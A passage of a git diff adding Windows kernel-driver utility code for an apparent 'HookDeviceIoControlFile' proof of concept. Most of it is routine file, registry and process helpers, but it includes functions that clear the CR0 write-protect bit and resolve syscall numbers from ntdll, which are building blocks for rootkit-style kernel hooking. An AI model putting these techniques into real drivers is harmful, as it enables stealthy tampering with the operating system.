(PULONG)RVATOVA(Image, pExport->AddressOfFunctions); + PSHORT AddrOfOrdinals = (PSHORT)RVATOVA(Image, pExport->AddressOfNameOrdinals); + PULONG AddressOfNames = (PULONG)RVATOVA(Image, pExport->AddressOfNames); + + ULONG i = 0; + for (i = 0; i < pExport->NumberOfFunctions; i++) + { + if (!strcmp((char *)RVATOVA(Image, AddressOfNames[i]), lpszFunctionName)) + { + return AddressOfFunctions[AddrOfOrdinals[i]]; + } + } + } + else + { + DbgMsg(__FILE__, __LINE__, "WARNING: Export directory not found\n"); + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() EXCEPTION\n"); + } + + return 0; +} +//-------------------------------------------------------------------------------------- +POBJECT_NAME_INFORMATION GetObjectName(PVOID pObject) +{ + ULONG BuffSize = 0x100; + POBJECT_NAME_INFORMATION ObjNameInfo; + NTSTATUS ns = STATUS_UNSUCCESSFUL; + + while (TRUE) + { + if ((ObjNameInfo = (POBJECT_NAME_INFORMATION)ExAllocatePool(NonPagedPool, BuffSize)) == NULL) + return FALSE; + + ns = ObQueryNameString(pObject, ObjNameInfo, BuffSize, &BuffSize); + + if (ns == STATUS_INFO_LENGTH_MISMATCH) + { + ExFreePool(ObjNameInfo); + BuffSize += 0x100; + } + else + break; + } + + if (NT_SUCCESS(ns)) + { + return ObjNameInfo; + } + + if (ObjNameInfo) + ExFreePool(ObjNameInfo); + + return NULL; +} +//-------------------------------------------------------------------------------------- +// get object name by its handle +POBJECT_NAME_INFORMATION GetObjectNameByHandle(HANDLE hObject) +{ + PVOID pObject; + NTSTATUS ns; + POBJECT_NAME_INFORMATION ObjNameInfo = NULL; + + ns = ObReferenceObjectByHandle(hObject, 0, 0, KernelMode, &pObject, NULL); + if (NT_SUCCESS(ns)) + { + ObjNameInfo = GetObjectName(pObject); + ObDereferenceObject(pObject); + } + else + DbgMsg(__FILE__, __LINE__, "ObReferenceObjectByHandle() fails; status: 0x%.8x\n", ns); + + return ObjNameInfo; +} +//-------------------------------------------------------------------------------------- +POBJECT_NAME_INFORMATION GetFullNtPath(PUNICODE_STRING Name) +{ + NTSTATUS ns; + OBJECT_ATTRIBUTES ObjAttr; + HANDLE hFile; + IO_STATUS_BLOCK StatusBlock; + POBJECT_NAME_INFORMATION ObjNameInf; + + InitializeObjectAttributes(&ObjAttr, Name, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL); + + ns = ZwOpenFile( + &hFile, + FILE_READ_DATA | SYNCHRONIZE, + &ObjAttr, + &StatusBlock, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_SYNCHRONOUS_IO_NONALERT + ); + if (!NT_SUCCESS(ns)) + { + return NULL; + } + + ObjNameInf = GetObjectNameByHandle(hFile); + + ZwClose(hFile); + + return ObjNameInf; +} +//-------------------------------------------------------------------------------------- +BOOLEAN GetNormalizedModulePath(PANSI_STRING asPath, PANSI_STRING asNormalizedPath) +{ + NTSTATUS ns = STATUS_UNSUCCESSFUL; + BOOLEAN bRet = FALSE; + ANSI_STRING asFullPath; + UNICODE_STRING usPath; + char *lpszWnd = "\\WINDOWS\\", *lpszNt = "\\WINNT\\", *lpszLetter = "\\SystemRoot\\"; + char *lpszDrivers = "system32\\drivers\\"; + + if (!strncmp(asPath->Buffer, lpszWnd, min(strlen(lpszWnd), asPath->Length)) || + !strncmp(asPath->Buffer, lpszNt, min(strlen(lpszNt), asPath->Length))) + { + ULONG Ptr = 0; + ULONG FullPathLen = 0; + char *lpszFullPath = NULL; + if (!strncmp(asPath->Buffer, lpszWnd, strlen(lpszWnd))) + { + Ptr = (ULONG)strlen(lpszWnd); + } + else if (!strncmp(asPath->Buffer, lpszNt, strlen(lpszNt))) + { + Ptr = (ULONG)strlen(lpszNt); + } + + FullPathLen = asPath->Length - Ptr + strlen(lpszLetter) + 1; + lpszFullPath = (char *)ExAllocatePool(NonPagedPool, FullPathLen); + if (lpszFullPath) + { + RtlZeroMemory(lpszFullPath, FullPathLen); + + strcpy(lpszFullPath, lpszLetter); + strncat(lpszFullPath, asPath->Buffer + Ptr, asPath->Length); + + RtlInitAnsiString(&asFullPath, lpszFullPath); + } + else + { + DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n"); + return FALSE; + } + } + else + { + asFullPath.Buffer = asPath->Buffer; + asFullPath.Length = asPath->Length; + asFullPath.MaximumLength = asPath->MaximumLength; + } + + ns = RtlAnsiStringToUnicodeString(&usPath, &asFullPath, TRUE); + if (NT_SUCCESS(ns)) + { + POBJECT_NAME_INFORMATION ObjName = GetFullNtPath(&usPath); + if (ObjName) + { + NTSTATUS ns = RtlUnicodeStringToAnsiString(asNormalizedPath, &ObjName->Name, TRUE); + if (NT_SUCCESS(ns)) + { + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\n", ns); + } + + ExFreePool(ObjName); + } + + RtlFreeUnicodeString(&usPath); + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\n", ns); + } + + if (!bRet) + { + ULONG Offset = 0; + + ULONG i = 0; + for (i = 0; i < asFullPath.Length; i++) + { + if (asFullPath.Buffer[i] == '\\') + { + Offset = i + 1; + } + } + + if (Offset == 0) + { + ULONG FullPathLen = asFullPath.Length + strlen(lpszLetter) + strlen(lpszDrivers) + 1; + char *lpszFullPath = (char *)ExAllocatePool(NonPagedPool, FullPathLen); + if (lpszFullPath) + { + RtlZeroMemory(lpszFullPath, FullPathLen); + + strcpy(lpszFullPath, lpszLetter); + strcat(lpszFullPath, lpszDrivers); + strncat(lpszFullPath, asFullPath.Buffer, asFullPath.Length); + + if (asFullPath.Buffer != asPath->Buffer) + { + RtlFreeAnsiString(&asFullPath); + } + + RtlInitAnsiString(&asFullPath, lpszFullPath); + + ns = RtlAnsiStringToUnicodeString(&usPath, &asFullPath, TRUE); + if (NT_SUCCESS(ns)) + { + POBJECT_NAME_INFORMATION ObjName = GetFullNtPath(&usPath); + if (ObjName) + { + ns = RtlUnicodeStringToAnsiString(asNormalizedPath, &ObjName->Name, TRUE); + if (NT_SUCCESS(ns)) + { + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\n", ns); + } + + ExFreePool(ObjName); + } + + RtlFreeUnicodeString(&usPath); + } + else + { + DbgMsg(__FILE__, __LINE__, "RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\n", ns); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n"); + } + } + } + + if (asFullPath.Buffer != asPath->Buffer) + { + RtlFreeAnsiString(&asFullPath); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +PVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass) +{ + NTSTATUS ns; + ULONG RetSize, Size = 0x100; + PVOID Info; + + while (TRUE) + { + if ((Info = ExAllocatePool(NonPagedPool, Size)) == NULL) + { + DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n"); + return NULL; + } + + RetSize = 0; + ns = ZwQuerySystemInformation(InfoClass, Info, Size, &RetSize); + if (ns == STATUS_INFO_LENGTH_MISMATCH) + { + ExFreePool(Info); + Info = NULL; + + if (RetSize > 0) + { + Size = RetSize + 0x100; + } + else + break; + } + else + break; + } + + if (!NT_SUCCESS(ns)) + { + DbgMsg(__FILE__, __LINE__, "ZwQuerySystemInformation() fails; status: 0x%.8x\n", ns); + + if (Info) + ExFreePool(Info); + + return NULL; + } + + return Info; +} +//-------------------------------------------------------------------------------------- +BOOLEAN AllocUnicodeString(PUNICODE_STRING us, USHORT MaximumLength) +{ + ULONG ulMaximumLength = MaximumLength; + + if (MaximumLength > 0) + { + if ((us->Buffer = (PWSTR)ExAllocatePool(NonPagedPool, ulMaximumLength)) == NULL) + return FALSE; + + RtlZeroMemory(us->Buffer, ulMaximumLength); + + us->Length = 0; + us->MaximumLength = MaximumLength; + + return TRUE; + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +BOOLEAN AppendUnicodeToString(PUNICODE_STRING Dest, PCWSTR Source, USHORT Len) +{ + ULONG ulLen = Len; + + if (Dest->MaximumLength >= Dest->Length + Len) + { + RtlCopyMemory((PUCHAR)Dest->Buffer + Dest->Length, Source, ulLen); + Dest->Length += Len; + + return TRUE; + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +ULONG GetFileSize(HANDLE hFile, PULONG FileSizeHigh) +{ + FILE_STANDARD_INFORMATION FileStandard; + IO_STATUS_BLOCK IoStatusBlock; + + NTSTATUS ns = ZwQueryInformationFile( + hFile, + &IoStatusBlock, + &FileStandard, + sizeof(FILE_STANDARD_INFORMATION), + FileStandardInformation + ); + if (!NT_SUCCESS(ns)) + { + DbgMsg(__FILE__, __LINE__, "ZwQueryInformationFile() fails; status: 0x%.8x\n", ns); + return -1; + } + + if (FileSizeHigh != NULL) + *FileSizeHigh = FileStandard.EndOfFile.u.HighPart; + + return FileStandard.EndOfFile.u.LowPart; +} +//-------------------------------------------------------------------------------------- +BOOLEAN ReadFromFile(PUNICODE_STRING FileName, PVOID *Data, PULONG DataSize) +{ + BOOLEAN bRet = FALSE; + NTSTATUS ns; + OBJECT_ATTRIBUTES ObjAttr; + HANDLE hFile; + IO_STATUS_BLOCK StatusBlock; + + *Data = NULL; + *DataSize = 0; + + InitializeObjectAttributes(&ObjAttr, FileName, + OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL); + + ns = ZwOpenFile( + &hFile, + FILE_READ_DATA | SYNCHRONIZE, + &ObjAttr, + &StatusBlock, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_SYNCHRONOUS_IO_NONALERT + ); + if (NT_SUCCESS(ns)) + { + ULONG FileSize = GetFileSize(hFile, NULL); + if (FileSize > 0) + { + PVOID FileData = ExAllocatePool(NonPagedPool, FileSize); + if (FileData) + { + RtlZeroMemory(FileData, FileSize); + + ns = ZwReadFile(hFile, 0, NULL, NULL, &StatusBlock, FileData, FileSize, 0, NULL); + if (NT_SUCCESS(ns)) + { + bRet = TRUE; + *Data = FileData; + *DataSize = FileSize; + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwReadFile() fails; status: 0x%.8x\n", ns); + ExFreePool(FileData); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n"); + } + } + + ZwClose(hFile); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOLEAN DumpToFile(PUNICODE_STRING FileName, PVOID Data, ULONG DataSize) +{ + BOOLEAN bRet = FALSE; + NTSTATUS ns; + OBJECT_ATTRIBUTES ObjAttr; + HANDLE hFile; + IO_STATUS_BLOCK StatusBlock; + + InitializeObjectAttributes(&ObjAttr, FileName, + OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL); + + ns = ZwCreateFile( + &hFile, + FILE_ALL_ACCESS | SYNCHRONIZE, + &ObjAttr, + &StatusBlock, + NULL, + FILE_ATTRIBUTE_NORMAL, + 0, + FILE_OVERWRITE_IF, + FILE_SYNCHRONOUS_IO_NONALERT, + NULL, + 0 + ); + if (NT_SUCCESS(ns)) + { + ns = ZwWriteFile(hFile, NULL, NULL, NULL, &StatusBlock, Data, DataSize, NULL, NULL); + if (NT_SUCCESS(ns)) + { + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwWriteFile() fails; status: 0x%.8x\n", ns); + } + + ZwClose(hFile); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOLEAN DeleteFile(PUNICODE_STRING usFileName) +{ + BOOLEAN bRet = FALSE; + OBJECT_ATTRIBUTES ObjAttr; + IO_STATUS_BLOCK IoStatusBlock; + HANDLE FileHandle; + NTSTATUS ns = STATUS_UNSUCCESSFUL; + + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): '%wZ'\n", usFileName); + + InitializeObjectAttributes(&ObjAttr, usFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + + // open file + ns = ZwCreateFile( + &FileHandle, + DELETE, + &ObjAttr, + &IoStatusBlock, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, + FILE_NON_DIRECTORY_FILE, + NULL, + 0 + ); + if (NT_SUCCESS(ns)) + { + FILE_BASIC_INFORMATION FileBsicInfo; + FILE_DISPOSITION_INFORMATION FileDispInfo; + + ns = ZwQueryInformationFile( + FileHandle, + &IoStatusBlock, + &FileBsicInfo, + sizeof(FileBsicInfo), + FileBasicInformation + ); + if (NT_SUCCESS(ns)) + { + // chenge file attributes to normal + FileBsicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; + + ns = ZwSetInformationFile( + FileHandle, + &IoStatusBlock, + &FileBsicInfo, + sizeof(FileBsicInfo), + FileBasicInformation + ); + if (!NT_SUCCESS(ns)) + { + DbgMsg(__FILE__, __LINE__, "ZwSetInformationFile() fails; status: 0x%.8x\n", ns); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwQueryInformationFile() fails; status: 0x%.8x\n", ns); + } + + + FileDispInfo.DeleteFile = TRUE; + + // ... and delete it + ns = ZwSetInformationFile( + FileHandle, + &IoStatusBlock, + &FileDispInfo, + sizeof(FILE_DISPOSITION_INFORMATION), + FileDispositionInformation + ); + if (!NT_SUCCESS(ns)) + { + DbgMsg(__FILE__, __LINE__, "ZwSetInformationFile() fails; status: 0x%.8x\n", ns); + } + else + bRet = TRUE; + + ZwClose(FileHandle); + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwCreateFile() fails; status: 0x%.8x\n", ns); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOLEAN LoadImageAsDataFile(PUNICODE_STRING usName, PVOID *Image, PULONG MappedImageSize) +{ + PVOID Data = NULL; + ULONG DataSize = 0; + + if (ReadFromFile(usName, &Data, &DataSize)) + { + PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32) + ((PUCHAR)Data + ((PIMAGE_DOS_HEADER)Data)->e_lfanew); + + PIMAGE_SECTION_HEADER pSection = NULL; + + ULONG ImageSize = 0, HeadersSize = 0, NumberOfSections = 0; + + if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) + { + // 32-bit image + pSection = (PIMAGE_SECTION_HEADER) + (pHeaders32->FileHeader.SizeOfOptionalHeader + + (PUCHAR)&pHeaders32->OptionalHeader); + + ImageSize = pHeaders32->OptionalHeader.SizeOfImage; + HeadersSize = pHeaders32->OptionalHeader.SizeOfHeaders; + NumberOfSections = pHeaders32->FileHeader.NumberOfSections; + } + else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) + { + // 64-bit image + PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64) + ((PUCHAR)Data + ((PIMAGE_DOS_HEADER)Data)->e_lfanew); + + pSection = (PIMAGE_SECTION_HEADER) + (pHeaders64->FileHeader.SizeOfOptionalHeader + + (PUCHAR)&pHeaders64->OptionalHeader); + + ImageSize = pHeaders64->OptionalHeader.SizeOfImage; + HeadersSize = pHeaders64->OptionalHeader.SizeOfHeaders; + NumberOfSections = pHeaders64->FileHeader.NumberOfSections; + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unkown machine type\n"); + ExFreePool(Data); + return FALSE; + } + + if (*Image = ExAllocatePool(NonPagedPool, ImageSize)) + { + ULONG i = 0; + // copy headers + RtlCopyMemory(*Image, Data, HeadersSize); + + // copy sections + for (i = 0; i < NumberOfSections; i++) + { + RtlCopyMemory( + (PUCHAR)*Image + pSection->VirtualAddress, + (PUCHAR)Data + pSection->PointerToRawData, + min(pSection->SizeOfRawData, pSection->Misc.VirtualSize) + ); + + pSection++; + } + + *MappedImageSize = ImageSize; + + return TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "ExAllocatePool() ERROR\n"); + } + + ExFreePool(Data); + } + + return FALSE; +} + +VOID WPOFFx64() +{ + UINT64 cr0 = __readcr0(); + cr0 &= 0xfffffffffffeffff; + __writecr0(cr0); +} + +VOID WPONx64() +{ + UINT64 cr0 = __readcr0(); + cr0 |= 0x10000; + __writecr0(cr0); +} + +//-------------------------------------------------------------------------------------- +#ifdef WP_STUFF +void __stdcall ClearWp(PVOID Param) +{ +#ifdef _X86_ + __asm + { + mov eax,cr0 + and eax,not 000010000h + mov cr0,eax + } +#else + // clear wp-bit in cr0 register + WPOFFx64(); +#endif // _X_86_ +} +//-------------------------------------------------------------------------------------- +void __stdcall SetWp(PVOID Param) +{ +#ifdef _X86_ + __asm + { + mov eax,cr0 + or eax,000010000h + mov cr0,eax + } +#else + // set wp-bit in cr0 register + //_set_wp(); + WPONx64(); +#endif // _X_86_ +} +#endif // WP_STUFF +//-------------------------------------------------------------------------------------- +typedef struct _PROCESSOR_THREAD_PARAM +{ + KAFFINITY Mask; + PKSTART_ROUTINE Routine; + PVOID Param; + +} PROCESSOR_THREAD_PARAM, +*PPROCESSOR_THREAD_PARAM; + +void NTAPI ProcessorThread(PVOID Param) +{ + PPROCESSOR_THREAD_PARAM ThreadParam = (PPROCESSOR_THREAD_PARAM)Param; + + // bind thread to specific processor + KeSetSystemAffinityThread(ThreadParam->Mask); + + // execute payload on this processor + ThreadParam->Routine(ThreadParam->Param); +} + +void ForEachProcessor(PKSTART_ROUTINE Routine, PVOID Param) +{ + NTSTATUS ns = STATUS_UNSUCCESSFUL; + KAFFINITY ActiveProcessors = 0; + KAFFINITY i = 0; + if (KeGetCurrentIrql() > PASSIVE_LEVEL) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Invalid IRQL (Must be =PASSIVE_LEVEL)\n"); + return; + } + + // get bitmask of active processors + ActiveProcessors = KeQueryActiveProcessors(); + + for (i = 0; i < sizeof(KAFFINITY) * 8; i++) + { + KAFFINITY Mask = (KAFFINITY)(1 << i); + // check if this processor bit present in mask + if (ActiveProcessors & Mask) + { + HANDLE hThread; + PROCESSOR_THREAD_PARAM ThreadParam; + + ThreadParam.Mask = Mask; + ThreadParam.Param = Param; + ThreadParam.Routine = Routine; + + // create thread for this processor + ns = PsCreateSystemThread( + &hThread, + THREAD_ALL_ACCESS, + NULL, NULL, NULL, + ProcessorThread, + &ThreadParam + ); + if (NT_SUCCESS(ns)) + { + PVOID Thread; + // get pointer to thread object + ns = ObReferenceObjectByHandle( + hThread, + THREAD_ALL_ACCESS, + NULL, + KernelMode, + &Thread, + NULL + ); + if (NT_SUCCESS(ns)) + { + // waiting for thread termination + KeWaitForSingleObject(Thread, Executive, KernelMode, FALSE, NULL); + ObDereferenceObject(Thread); + } + else + { + DbgMsg(__FILE__, __LINE__, "ObReferenceObjectByHandle() fails; status: 0x%.8x\n", ns); + } + + ZwClose(hThread); + } + else + { + DbgMsg(__FILE__, __LINE__, "PsCreateSystemThread() fails; status: 0x%.8x\n", ns); + } + } + } +} +//-------------------------------------------------------------------------------------- +ULONG GetSyscallNumber(char *lpszName) +{ + // get base address of ntdll.dll, that mapped into the system process + PVOID NtdllBase = KernelGetModuleBase("ntdll.dll"); + if (NtdllBase) + { + // get function addres by name hash + ULONG FuncRva = KernelGetExportAddress(NtdllBase, lpszName); + if (FuncRva) + { + PUCHAR Func = (PUCHAR)NtdllBase + FuncRva; +#ifdef _X86_ + // check for mov eax,imm32 + if (*Func == 0xB8) + { + // return imm32 argument (syscall numbr) + return *(PULONG)((PUCHAR)Func + 1); + } +#elif _AMD64_ + // check for mov eax,imm32 + if (*(Func + 3) == 0xB8) + { + // return imm32 argument (syscall numbr) + return *(PULONG)(Func + 4); + } +#endif + } + } + + return -1; +} +//-------------------------------------------------------------------------------------- +BOOLEAN RegQueryValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID *Data, PULONG DataSize) +{ + BOOLEAN bRet = FALSE; + PKEY_VALUE_FULL_INFORMATION ValueInformation = NULL; + ULONG ResultLen = 0; + UNICODE_STRING usValueName; + NTSTATUS ns = STATUS_UNSUCCESSFUL; + + RtlInitUnicodeString(&usValueName, lpwcName); + + if (Data && DataSize) + { + *Data = NULL; + *DataSize = 0; + } + + // get required buffer size + ns = ZwQueryValueKey( + hKey, + &usValueName, + KeyValueFullInformation, + &ValueInformation, + 0, + &ResultLen + ); + if ((ns == STATUS_BUFFER_TOO_SMALL || + ns == STATUS_BUFFER_OVERFLOW) && ResultLen > 0) + { + // allocate memory for key information + ValueInformation = (PKEY_VALUE_FULL_INFORMATION)M_ALLOC(ResultLen); + if (ValueInformation) + { + memset(ValueInformation, 0, ResultLen); + + // query key information + ns = ZwQueryValueKey( + hKey, + &usValueName, + KeyValueFullInformation, + ValueInformation, + ResultLen, + &ResultLen + ); + if (NT_SUCCESS(ns)) + { + if (Type == REG_NONE || Type == ValueInformation->Type) + { + if (Data && DataSize) + { + // allocate memory for value data + if (*Data = M_ALLOC(ValueInformation->DataLength)) + { + RtlCopyMemory( + *Data, + (PUCHAR)ValueInformation + ValueInformation->DataOffset, + ValueInformation->DataLength + ); + + *DataSize = ValueInformation->DataLength; + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + } + } + else + { + // just say about value existance + bRet = TRUE; + } + } + else + { + DbgMsg( + __FILE__, __LINE__, + __FUNCTION__"() ERROR: Bad value type (%d)\n", + ValueInformation->Type + ); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwQueryValueKey() fails; status: 0x%.8x\n", ns); + } + + M_FREE(ValueInformation); + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() fails\n"); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwQueryValueKey() fails; status: 0x%.8x\n", ns); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOLEAN RegSetValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID Data, ULONG DataSize) +{ + NTSTATUS ns = STATUS_UNSUCCESSFUL; + UNICODE_STRING usValueName; + RtlInitUnicodeString(&usValueName, lpwcName); + + ns = ZwSetValueKey(hKey, &usValueName, 0, Type, Data, DataSize); + if (!NT_SUCCESS(ns)) + { + DbgMsg(__FILE__, __LINE__, "ZwSetValueKey() fails; status: 0x%.8x\n", ns); + return FALSE; + } + + return TRUE; +} +//-------------------------------------------------------------------------------------- +#ifdef _X86_ +#define PEB_PROCESS_PARAMS_OFFSET 0x10 +#define PROCESS_PARAMS_FLAGS_OFFSET 0x08 +#define PROCESS_PARAMS_IMAGE_NAME_OFFSET 0x38 +#elif _AMD64_ +#define PEB_PROCESS_PARAMS_OFFSET 0x20 +#define PROCESS_PARAMS_FLAGS_OFFSET 0x08 +#define PROCESS_PARAMS_IMAGE_NAME_OFFSET 0x60 +#endif + +#define PROCESS_PARAMETERS_NORMALIZED 1 // pointers are absolute (not self-relative) + +BOOLEAN GetProcessFullImagePath(PEPROCESS Process, PUNICODE_STRING ImagePath) +{ + BOOLEAN bRet = FALSE; + HANDLE hProcess = NULL; + + // get handle to target process + NTSTATUS ns = ObOpenObjectByPointer( + Process, + OBJ_KERNEL_HANDLE, + NULL, + 0, + NULL, + KernelMode, + &hProcess + ); + if (NT_SUCCESS(ns)) + { + PROCESS_BASIC_INFORMATION ProcessInfo; + + // get address of PEB + ns = ZwQueryInformationProcess( + hProcess, + ProcessBasicInformation, + &ProcessInfo, + sizeof(ProcessInfo), + NULL + ); + if (NT_SUCCESS(ns)) + { + KAPC_STATE ApcState; + + // change context to target process + KeStackAttachProcess(Process, &ApcState); + + __try + { + PUCHAR Peb = (PUCHAR)ProcessInfo.PebBaseAddress; + if (Peb) + { + // get pointer to RTL_USER_PROCESS_PARAMETERS + PUCHAR ProcessParams = *(PUCHAR *)(Peb + PEB_PROCESS_PARAMS_OFFSET); + if (ProcessParams) + { + // get image path + PUNICODE_STRING ImagePathName = (PUNICODE_STRING) + (ProcessParams + PROCESS_PARAMS_IMAGE_NAME_OFFSET); + + if (ImagePathName->Buffer && ImagePathName->Length > 0) + { + // allocate string + if (AllocUnicodeString(ImagePath, ImagePathName->Length)) + { + PWSTR lpwcName = NULL; + ULONG Flags = *(PULONG)(ProcessParams + PROCESS_PARAMS_FLAGS_OFFSET); + + if (Flags & PROCESS_PARAMETERS_NORMALIZED) + { + // pointer to buffer is absolute address + lpwcName = ImagePathName->Buffer; + } + else + { + // pointer to buffer is relative address + lpwcName = (PWSTR)(ProcessParams + (ULONGLONG)ImagePathName->Buffer); + } + + if (AppendUnicodeToString(ImagePath, lpwcName, ImagePathName->Length)) + { + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "AppendUnicodeToString() ERROR\n"); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "AllocUnicodeString() ERROR\n"); + } + } + } + } + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() EXCEPTION\n"); + } + + KeUnstackDetachProcess(&ApcState); + } + else + { + // Can't query information about process, probably 'System' or rootkit activity + } + + ZwClose(hProcess); + } + else + { + DbgMsg(__FILE__, __LINE__, "ObOpenObjectByPointer() fails; status: 0x%.8x\n", ns); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOLEAN AllocateUserMemory(ULONG Size, PMAPPED_MDL MdlInfo) +{ + PVOID Buffer = NULL; + MdlInfo->Mdl = NULL; + MdlInfo->Buffer = NULL; + MdlInfo->MappedBuffer = NULL; + + // allocate kernel-mode buffer in non-paged pool + Buffer = M_ALLOC(Size); + if (Buffer) + { + // allocate memory descriptor + PMDL Mdl = IoAllocateMdl(Buffer, Size, FALSE, FALSE, NULL); + if (Mdl) + { + PVOID MappedBuffer = NULL; + __try + { + // lock allocated pages + MmProbeAndLockPages(Mdl, KernelMode, IoWriteAccess); + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): MmProbeAndLockPages() EXCEPTION\n"); + + IoFreeMdl(Mdl); + M_FREE(Buffer); + + return FALSE; + } + + // map allocated pages into the user space + MappedBuffer = MmMapLockedPagesSpecifyCache( + Mdl, + UserMode, + MmCached, + NULL, + FALSE, + NormalPagePriority + ); + if (MappedBuffer) + { + MdlInfo->Mdl = Mdl; + MdlInfo->Buffer = Buffer; + MdlInfo->MappedBuffer = MappedBuffer; + + return TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): MmMapLockedPagesSpecifyCache() fails\n"); + } + + MmUnlockPages(Mdl); + IoFreeMdl(Mdl); + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): IoAllocateMdl() fails\n"); + } + + M_FREE(Buffer); + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): M_ALLOC() fails\n"); + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +void FreeUserMemory(PMAPPED_MDL MdlInfo) +{ + // unmap user-mode address + MmUnmapLockedPages(MdlInfo->MappedBuffer, MdlInfo->Mdl); + + // unlock pages + MmUnlockPages(MdlInfo->Mdl); + + // free memory descriptor + IoFreeMdl(MdlInfo->Mdl); + + // free buffer + M_FREE(MdlInfo->Buffer); +} +//-------------------------------------------------------------------------------------- +BOOLEAN IsWow64Process(PEPROCESS Process, BOOLEAN *bIsWow64) +{ + HANDLE hProcess = NULL; + NTSTATUS ns = STATUS_UNSUCCESSFUL; + + *bIsWow64 = FALSE; + + // get handle to target process + ns = ObOpenObjectByPointer( + Process, + OBJ_KERNEL_HANDLE, + NULL, + 0, + NULL, + KernelMode, + &hProcess + ); + if (NT_SUCCESS(ns)) + { + ULONG_PTR Wow64Info = 0; + + ns = ZwQueryInformationProcess( + hProcess, + ProcessWow64Information, + &Wow64Info, + sizeof(Wow64Info), + NULL + ); + if (NT_SUCCESS(ns)) + { + if (Wow64Info) + { + // this is wow64 process + *bIsWow64 = TRUE; + } + } + else + { + DbgMsg(__FILE__, __LINE__, "ZwQueryInformationProcess() fails; status: 0x%.8x\n", ns); + } + + ZwClose(hProcess); + return TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "ObOpenObjectByPointer() fails; status: 0x%.8x\n", ns); + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common.h new file mode 100644 index 00000000..7ec50015 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common.h @@ -0,0 +1,82 @@ +#include +#define XALIGN_DOWN(x, align)(x &~ (align - 1)) +#define XALIGN_UP(x, align)((x & (align - 1))?XALIGN_DOWN(x, align) + align:x) + +#define RVATOVA(_base_, _offset_) ((PUCHAR)(_base_) + (ULONG)(_offset_)) + +#define M_ALLOC(_size_) ExAllocatePool(NonPagedPool, (_size_)) +#define M_FREE(_addr_) ExFreePool((_addr_)) + +#define XLOWORD(_dw) ((USHORT)(((ULONG)(_dw)) & 0xffff)) +#define XHIWORD(_dw) ((USHORT)((((ULONG)(_dw)) >> 16) & 0xffff)) + +#define ABSOLUTE(wait) (wait) +#define RELATIVE(wait) (-(wait)) + +#define NANOSECONDS(nanos) \ + (((signed __int64)(nanos)) / 100L) + +#define MICROSECONDS(micros) \ + 